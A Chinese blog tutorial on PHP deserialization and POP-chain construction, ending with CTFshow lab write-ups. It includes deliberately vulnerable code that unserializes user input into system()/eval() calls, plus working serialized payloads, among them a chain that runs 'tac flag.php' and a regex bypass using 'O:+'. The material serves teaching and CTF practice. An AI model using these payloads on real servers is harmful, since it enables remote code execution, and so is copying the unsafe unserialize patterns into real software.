WEB攻防-第60天:PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改

发布于:2025-02-13 ⋅ 阅读:(9) ⋅ 点赞:(0)

目录

一、序列化与反序列化基础

1.1  什么是序列化与反序列化

二、魔术方法的生命周期

2.1  常见的魔术方法

2.2  模式方法的生命周期触发调用

2.2.1   __construct()

2.2.2   __destruct()

2.2.3   __sleep() 

 2.2.4   __wakeup()

2.2.5   __invoke()

2.2.6   __toString()

2.2.7   __call()

2.2.8   __callStatic()

2.2.9   __get()

2.2.10   __set()

2.2.11   __isset()

2.2.12   __unset()

2.2.13   __set_state()

2.2.14   __clone()

2.2.15   __autoload()

2.2.16   __debugInfo()

三、反序列化漏洞原理剖析

3.1  漏洞产生原理

3.2  简单案例

四、POP链

4.1  原理

4.2  典型场景

4.3  构造步骤

4.4  POP链三大核心要素

4.4.1  反序列化入口(起点)

4.4.2  危险方法(终点)

4.4.3  连接桥梁(链路)

4.4.4  POP链构造案例 

五、CTFSHOW题目

5.1  Web入门254-对象引用执行逻辑

5.2  Web入门255-反序列化变量修改

5.3  Web入门256-反序列化参数修改

5.4  Web入门257-反序列化参数修改&对象调用逻辑

5.5  Web入门258-反序列化参数修改&对象调用逻辑&正则 


一、序列化与反序列化基础

1.1  什么是序列化与反序列化

序列化是将对象转换为可存储/传输格式(字符串/字节流)的过程,反序列化则是将序列化后的数据还原为对象的过程。

这种机制常见于:

  • PHP:serialize()/unserialize()

  • Java:ObjectOutputStream/ObjectInputStream

  • Python:pickle模块

// PHP序列化示例
class User {
    public $name = "Alice";
    private $age = 20;
}

$obj = new User();
$ser = serialize($obj); 
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userage";i:20;}

$unser = unserialize($ser);  // 还原为User对象

序列化serialize():对象转换为数组或字符串等格式  

反序列化unserialize():将数组或字符串等格式转换成对象

在 PHP 中,serialize()函数仅对对象属性进行序列化,而不处理对象方法。它把对象属性转为字符串存入序列化结果,方便对象在文件存储、网络传输或不同请求间传递。因为方法定义在类中,类是对象模板,反序列化时 PHP 依据类重建对象并填充属性值,方法与类关联,无需序列化存储。另外,使用unserialize()反序列化时,必须提前定义好被反序列化对象所属的类,否则会报错 。

二、魔术方法的生命周期

2.1  常见的魔术方法

__construct(): //当对象new的时候会自动调用

__destruct()://当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用

__toString(): //把类当作字符串使用时触发

call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用call函数。

__callStatic(): //在静态上下文中调用不可访问的方法时触发

get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用get函数

set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用set函数。

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

_setstate(),调用var_export()导出类时,此静态方法会被调用

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

2.2  模式方法的生命周期触发调用

前置知识_语法解释:

  1. 双冒号(::):在 PHP 中,双冒号被称为范围解析操作符(Scope Resolution Operator,简称 SRO)。它主要用于访问类的静态成员(属性和方法),以及在子类中访问父类的成员。例如Example::__set_state($array); ,这里Example是类名,__set_state是类的静态方法,通过双冒号可以在类外部直接调用静态方法,而不需要先实例化类。静态方法和属性属于类本身,而不是类的某个实例,所以使用双冒号来明确是对类进行操作,而不是对类的对象进行操作。
  2. new关键字:用于创建类的实例(对象)。如$obj = new Example();,它会根据Example类的定义在内存中分配空间,创建一个Example类的对象,并将其赋值给变量$obj 。在创建对象的过程中,如果类中有__construct方法,会自动调用该方法进行初始化。
  3. unset()函数:用于销毁指定的变量。当作用于对象时,会触发对象的__destruct方法。例如unset($obj);,它会释放$obj变量所占用的内存空间,同时调用$obj所属类的__destruct方法,在该方法中可以进行一些清理工作,如关闭文件、释放数据库连接等。
  4. serialize()unserialize()函数:serialize()函数将 PHP 中的变量(如对象、数组等)转换为一个字符串,以便于存储或传输;unserialize()函数则是将序列化后的字符串还原为原来的变量。在序列化和反序列化对象时,会分别触发__sleep和__wakeup魔术方法。
  5. 对象调用方法的语法:$obj->methodName($args); 是 PHP 中调用对象方法的标准语法。$obj是类的实例(对象),methodName是对象的方法名,$args是传递给方法的参数(可以是多个参数,用逗号分隔)。如果调用的方法不存在,会触发__call魔术方法。而对于静态方法,调用语法为ClassName::methodName($args); ,如果静态方法不存在,会触发__callStatic魔术方法。
  6. isset()empty()函数:isset()函数用于检测变量是否已设置并且非NULL ,empty()函数用于检查一个变量是否为空(即""、0、"0"、NULL、FALSE、array() 以及声明但未赋值的变量都会被认为是空)。当对对象中不可访问的属性使用这两个函数时,会触发__isset魔术方法。
  7. var_dump()函数:用于输出变量的相关信息,包括变量的类型和值。当对对象使用var_dump()时,如果对象定义了__debugInfo方法,会调用该方法获取用于调试的信息并输出。.
  8. 中文乱码问题:加上header("Content-type: text/html; charset=utf-8");设置HTTP响应的头部信息,告诉浏览器当前输出的内容类型是HTML文档,并且字符集编码为UTF-8。

2.2.1   __construct()

__construct(): //构造函数,当对象new的时候会自动调用,即创建对象时调用,通常用作初始化参

<?php

header("Content-type: text/html; charset=utf-8");

class Example {
    public function __construct() {
        echo "__construct 方法被调用<br>";
    }
}

$obj = new Example();

2.2.2   __destruct()

__destruct()://析构函数,当对象被销毁时会被自动调用,主动unset销毁或者程序结束自动销毁都会触发

class Example {
    public function __destruct() {
        echo "__destruct 方法被调用<br>";
    }
}

$obj = new Example();
unset($obj); // 手动销毁对象,触发 __destruct 方法

2.2.3   __sleep() 

执行serialize函数时,__sleep方法被调用,返回需要序列化的属性数组。

class Example {
    public $data = "Hello, World!";
    public function __sleep() {
        echo "__sleep 方法被调用<br>";
        return array('data');
    }
}

$obj = new Example();
serialize($obj);

 2.2.4   __wakeup()

在unserialize时,__wakeup方法被调用,对反序列化后的对象进行初始化操作。

class Example {
    public $data;
    public function __wakeup() {
        echo "__wakeup 方法被调用<br>";
        $this->data = "初始化数据";
    }
}

$serialized = serialize(new Example());
$obj = unserialize($serialized);

2.2.5   __invoke()

当把对象当作函数调用时,__invoke方法被触发。

class Example {
    public function __invoke() {
        echo "__invoke 方法被调用<br>";
    }
}

$obj = new Example();
$obj(); // 像调用函数一样调用对象,触发 __invoke 方法

2.2.6   __toString()

在将对象当作字符串使用,如echo时,__toString方法被调用。

class Example {
    public $data = "测试数据";
    public function __toString() {
        echo "__toString 方法被调用<br>";
        return $this->data;
    }
}

$obj = new Example();
echo $obj;

2.2.7   __call()

当调用对象中不存在的方法时,__call方法被触发。

class Example {
    public function __call($method, $args) {
        echo "__call 方法被调用,调用的方法是:$method,参数是:". implode(', ', $args). "<br>";
    }
}

$obj = new Example();
$obj->nonexistentMethod('arg1', 'arg2'); // 调用不存在的方法,触发 __call 方法

2.2.8   __callStatic()

在静态上下文中调用不存在的方法时,__callStatic方法被触发。

class Example {
    public static function __callStatic($method, $args) {
        echo "__callStatic 方法被调用,调用的静态方法是:$method,参数是:". implode(', ', $args). "<br>";
    }
}

Example::nonexistentStaticMethod('arg1', 'arg2'); // 调用不存在的静态方法,触发 __callStatic 方法

2.2.9   __get()

当读取对象中不存在或不可访问的属性时,__get方法被调用。

class Example {
    private $hiddenData = "隐藏数据";
    public function __get($name) {
        echo "__get 方法被调用,获取的属性是:$name<br>";
        if ($name === 'hiddenData') {
            return $this->$name;
        }
    }
}

$obj = new Example();
echo $obj->hiddenData;

2.2.10   __set()

当设置对象中不存在或不可访问的属性时,__set方法被调用。

class Example {
    private $hiddenData;
    public function __set($name, $value) {
        echo "__set 方法被调用,设置的属性是:$name,值是:$value<br>";
        if ($name === 'hiddenData') {
            $this->$name = $value;
        }
    }
}

$obj = new Example();
$obj->hiddenData = "新值";

2.2.11   __isset()

在对不可访问的属性调用isset或empty时,__isset方法被触发。

class Example {
    private $hiddenData = "隐藏数据";
    public function __isset($name) {
        echo "__isset 方法被调用,检测的属性是:$name<br>";
        if ($name === 'hiddenData') {
            return isset($this->$name);
        }
    }
}

$obj = new Example();
isset($obj->hiddenData);

2.2.12   __unset()

在对不可访问的属性使用unset时,__unset方法被触发。

class Example {
    private $hiddenData = "隐藏数据";
    public function __unset($name) {
        echo "__unset 方法被调用,删除的属性是:$name<br>";
        if ($name === 'hiddenData') {
            unset($this->$name);
        }
    }
}

$obj = new Example();
unset($obj->hiddenData);

2.2.13   __set_state()

调用var_export导出类并使用__set_state还原时,__set_state方法被调用。

class Example {
    public $data;
    public static function __set_state($array) {
        echo "__set_state 方法被调用<br>";
        $obj = new self();
        $obj->data = $array['data'];
        return $obj;
    }
}

$array = ['data' => '测试数据'];
$obj = Example::__set_state($array);

2.2.14   __clone()

当对象被复制时,__clone方法被调用。

class Example {
    public $data = "原始数据";
    public function __clone() {
        echo "__clone 方法被调用<br>";
        $this->data = "克隆后的数据";
    }
}

$obj = new Example();
$cloneObj = clone $obj;

2.2.15   __autoload()

当尝试加载未定义的类时,__autoload方法被调用。

// 自动加载函数示例,实际应用中路径需根据项目结构调整
function __autoload($class) {
    echo "__autoload 方法被调用,加载的类是:$class<br>";
    require_once $class. '.php';
}

$obj = new NonexistentClass(); // 假设 NonexistentClass 类未定义,触发 __autoload 方法

2.2.16   __debugInfo()

在打印对象调试信息,如使用var_dump时,__debugInfo方法被调用。

class Example {
    private $data = "调试数据";
    public function __debugInfo() {
        echo "__debugInfo 方法被调用<br>";
        return ['data' => $this->data];
    }
}

$obj = new Example();
var_dump($obj);

三、反序列化漏洞原理剖析

3.1  漏洞产生原理

  • 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
  • 在反序列化的过程中自动触发了某些魔术方法。
  • 当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

3.2  简单案例

<?php
 
class B{
    public $cmd='ipconfig';
    public function __destruct(){
        system($this->cmd);
    }
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);
 
?>

在这段代码中, 可以看到,当这个类的对象被销毁时,__destruct方法就会自动执行。这里__destruct方法里用system函数执行$cmd里的命令。

虽然这里没有创建对象,但是对GTE['x']反序列化,所以我们自己可以构造一个序列化的对象传进来。可以想象成我们创建一个对象,传给他,等于在这段代码new了一个对象,代码执行完,也会销毁我们传进来的对象,进而触发__destruct方法

怎么构造呢?

上面已经说过,序列化函数仅对对象属性进行序列化,所以这里只需要考虑成员属性(变量)即可

<?php
 
class B{
    public $cmd = 'ver';
    }
 
$x = new B();
echo serialize($x);
 
?>

得到序列化 之后的值

构造 paylaod:?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}

这里的乱码是因为cmd 一般默认是GBK,而我们header设置了utf-8

四、POP链

4.1  原理

POP(Property-Oriented Programming),即面向属性编程,看起来很复杂,确实很复杂,是反序列化漏洞利用中的核心技术。其核心思想是通过控制对象的属性值,引导程序执行流经过多个类的方法调用,最终触发危险操作(如代码执行、文件读写等)。

在 PHP 中,反序列化过程会自动触发一些魔术方法,如__wakeup()__destruct()等。同时,对象的属性值可以在反序列化时被攻击者控制。攻击者利用这些特性,通过构造包含特定属性值的序列化字符串,使得反序列化后的对象在执行过程中依次调用一系列方法,最终调用到能够执行危险操作的方法。

4.2  典型场景

  • 目标代码中没有直接在魔术方法中的危险操作

  • 危险代码分布在多个普通类的方法中

  • 需要通过属性连接多个类的方法调用

4.3  构造步骤

  1. 寻找危险函数:在目标代码中找出可能导致安全问题的函数,如system()(执行系统命令)、eval()(执行 PHP 代码)等。
  2. 分析类和方法:查看代码中定义的类和方法,特别是魔术方法和可能被调用的普通方法,找到能够调用危险函数的方法。
  3. 构建调用链:将不同类的方法和属性关联起来,形成一条从反序列化触发的魔术方法开始,最终调用到危险函数的调用链。
  4. 构造序列化数据:根据构建好的调用链,创建相应的对象,并将对象的属性设置为合适的值,然后将对象序列化,得到恶意的序列化字符串。

4.4  POP链三大核心要素

4.4.1  反序列化入口(起点)

  • 触发点unserialize()函数

  • 触发条件:反序列化后的对象会触发某些魔术方法

    // 常见触发点
    __destruct()  // 对象销毁时触发
    __wakeup()    // 反序列化完成后触发
    __toString()  // 对象被当作字符串使用时触发

4.4.2  危险方法(终点)

  • 包含可被利用的关键操作:

    eval()、system()       // 代码执行
    file_put_contents()   // 文件写入
    unserialize()         // 二次反序列化

4.4.3  连接桥梁(链路)

  • 通过对象属性连接多个方法调用:

    graph LR
    A[__destruct] -->|调用| B[ClassA->method1()]
    B -->|属性传递| C[ClassB->method2()]
    C -->|属性传递| D[ClassC->dangerMethod()]

4.4.4  POP链构造案例 

下面举一个简单的案例,也是理想情况下服务端存在中间类,注意这里方便测试理解,使用的都是public属性,一般使用的都是私有属性

<?php
// 服务端代码
class Logger {
    public $handler; // 修改为public以便更容易测试,但在实际场景中应保持private并添加适当的setter

    public function __construct() {
        $this->handler =  new FileHandler();
    }

    public function __destruct() {
        $this->handler->log(); // 触发点
    }
}

class FileHandler {
    public $filename = 'log.txt';
    public function log() {
        echo $filename;
    }
}

class Exploit {
    public $rce;

    public function log() {
        $this->rce->execute();
    }
}

class RCE {
    public $cmd;

    public function execute() {
        system($this->cmd);
    }
}

// 客户端输入处理
$data = $_GET['payload'];
unserialize($data);
?>

 攻击目标

通过反序列化触发RCE::execute()执行任意命令(如ver)。

POP链构造分析

步骤1:寻找调用路径

  1. 起点Logger::__destruct()必须调用log()方法

  2. 终点RCE::execute()需要被触发

  3. 缺失的桥梁:需要一个中间类将log()execute()连接
    需要把$this->handler->log();换成$this->handler->RCE::execute();

class Exploit {
    public $rce;

    public function log() {
        $this->rce->execute();
    }
}

可以看到Exploit中基调用了log方法,也调用execute方法,其实他就是中间桥梁

可以想象一下,$rce这个属性指向的是RCE对象,是不是调用的就是RCE对象下的execute方法

而Logger 因为__desturct方法必然会调用log,这就可以形成一个完整的调用链了

步骤2:逆推调用路径

1.把上面分析要用到的类和属性拷贝一份,也就是需要执行execute的终点类RCE,中间类Exploit,起点类Logger

<?php
class RCE {
    public $cmd;
}

class Exploit {
    public $rce;
}

class Logger {
    public $handler;
}

2.逆推调用关系

  • 首先从终点逆推,所以先创建一个RCE对象,并设置需要执行的命令,此时服务器反序列化就会得到一个cmd=‘ver’的对象
  • 根据上面分析我们知道Exploit是一个中间桥梁,$rce这个属性指向的是RCE对象,是不是调用的就是RCE对象下的execute方法,所以创建Exploit的对象,然后把$rce指向上面创建带有恶意代码执行的RCE对象
  • 最后Logger的$this->handler再指向Exploit对象,就形成了完整的调用链,把Logger序列化就得到了payload

完整调用链:

代码结束触发:Logger->handler->log

Logger->handler指向Exploit对象

调用Exploit对象的log方法

Exploit对象的log方法调用rce->execute

而rce执行的是RCE对象

最终调用RCE对象的execute方法

 套娃......

$rce = new RCE();
$rce->cmd = 'ver';

$exploit = new Exploit();
$exploit->rce = $rce;

$logger = new Logger();
$logger->handler = $exploit;

$payload = serialize($logger);
echo $payload;

完整POP链代码

<?php
class RCE {
    public $cmd = 'ver';
}

class Exploit {
    public $rce;
}

class Logger {
    public $handler;
}

$rce = new RCE();
$exploit = new Exploit();
$exploit->rce = $rce;

$logger = new Logger();
$logger->handler = $exploit;

$payload = serialize($logger);
echo $payload;
?>

payload:?payload=O:6:"Logger":1:{s:7:"handler";O:7:"Exploit":1:{s:3:"rce";O:3:"RCE":1:{s:3:"cmd";s:3:"ver";}}}

 大概就是这么个情况,下面ctfshow进一步了解下

五、CTFSHOW题目

5.1  Web入门254-对象引用执行逻辑

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

我个人习惯 从执行代码去链接调用的函数去分析

  1. 首先判断了是否传入username和password,有才进入if,所以password和username一定要传值
  2. $user是一个ctfShowUser对象
  3. 判断user对象下的login方法,这个时候去看login方法的逻辑,检查传入的username和password是否和定义的xxxxxx一致,如果一致让isVip等于ture
  4. 然后判断isVip等于ture就执行user下的vipOneKeyGetFlag,在这个方法中也是判断isVip等于ture就输出flag
  5. 根据3,就可以知道只需要传入username和password,并等于xxxxxx就可以让isVip等于ture

这道题没有涉及序列化,应该是让大家了解调用链的

5.2  Web入门255-反序列化变量修改

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
  1. 可以看到 同样是需要传入username和password,通过cookie接收user并反序列化,注意cookie传入对象序列化需要URL编码,unserialize($_COOKIE['user']); 
  2. login的登录逻辑也是判断username和password等于xxxxxx
  3. 然后检查checkVip,但checkVip直接返回isVip,也就是初始值flase,所以需要让其等于true才可以调用vipOneKeyGetFlag获取flag
  4. 所以直接序列化操作属性即可

同样的把关键类和属性拷贝,然后修改属性,序列化,然后url编码就行

<?php
class ctfShowUser{
    public $isVip=true;
}

$c = new ctfShowUser();

echo urlencode(serialize($c));

 未编码:O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

url编码后:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

5.3  Web入门256-反序列化参数修改

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和上一关没太大区别,就是修改username和password不相等就行

<?php
class ctfShowUser{
    public $username='test';
    public $password='testtest';
    public $isVip=true; 
}

$c = new ctfShowUser();

echo urlencode(serialize($c));

 payload:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A8%3A%22testtest%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

不知道为啥hackbar穿不了cookie,但是上一题可以,知道的可以告诉我 

5.4  Web入门257-反序列化参数修改&对象调用逻辑

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

如果理解上面pop链的内容的话,这道题应该是易如反掌,因为原理是一样的,把执行的代码写入backDoor对象,然后把info对象换成backDoor对象就可以了

<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
$c = new ctfShowUser();
echo urlencode(serialize($c));
?>

可能有人会疑问,序列化不是不能处理方法吗,这个构造函数是特殊方法,在new的时候就执行了,这里主要是为了给$class赋值的,也可以不这么写,直接new了之后复制,如:


<?php
class ctfShowUser{
    public $class;
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
$c = new ctfShowUser();
$c->class = new backDoor();
echo urlencode(serialize($c));
?>

通过构造函数生成的:

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

直接赋值生成的:

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

可以看到是一样的

5.5  Web入门258-反序列化参数修改&对象调用逻辑&正则 

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}



和上一题一样,只是过滤了O: 后面不能直接跟数字,我们可以给数字前面写个+,代表有符合正11,并没改变原意

上一题的payload:O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

修改后

O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

代码如下:把O:替换为O:+即可


<?php
class ctfShowUser{
    public $class;
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
$c = new ctfShowUser();
$c->class = new backDoor();
$payload = serialize($c);
$payload = str_replace('O:', 'O:+', $payload);
echo urlencode($payload);
?>